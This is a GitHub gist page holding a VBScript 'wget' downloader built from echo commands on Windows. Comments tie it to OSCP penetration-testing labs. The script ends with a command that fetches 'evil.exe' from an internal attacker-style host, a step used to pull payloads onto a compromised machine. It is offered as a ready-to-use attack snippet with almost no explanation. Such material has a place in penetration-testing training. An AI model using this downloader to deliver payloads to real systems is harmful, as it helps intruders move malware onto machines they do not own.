Skip to content

Instantly share code, notes, and snippets.

@sckalath

sckalath/wget_vbs

Last active Nov 18, 2020
Embed
What would you like to do?
wget vbscript
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
#After you've created wget.vbs
cscript wget.vbs http://192.168.10.5/evil.exe evil.exe
@H4oK3

This comment has been minimized.

Copy link

@H4oK3 H4oK3 commented Nov 18, 2017

are u doing oscp? found exactly the same script used in one of the box lol

@ghost

This comment has been minimized.

Copy link

@ghost ghost commented Nov 27, 2017

im doing OSCP, found this... then noticed this exact file was already dropped on one of the lab machines =P

@fuckup1337

This comment has been minimized.

Copy link

@fuckup1337 fuckup1337 commented Jun 1, 2018

just for your info this script is in the lab guide.... maybe thats the reason people find it on oscp servers...

@Totocellux

This comment has been minimized.

Copy link

@Totocellux Totocellux commented Aug 22, 2018

yeah ... maybe 'cause the original creator of wget has been Eric Phelps, many years ago:
http://www.ericphelps.com/scripting/samples/

@AlexBestoso

This comment has been minimized.

Copy link

@AlexBestoso AlexBestoso commented Jun 19, 2020

A made a script like this that I called gigglewhatt.vbs I'm happy that I don't have to put all those echos into place again.
Too lazy to pull the code out of my eternal hdd. Thank you xD

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.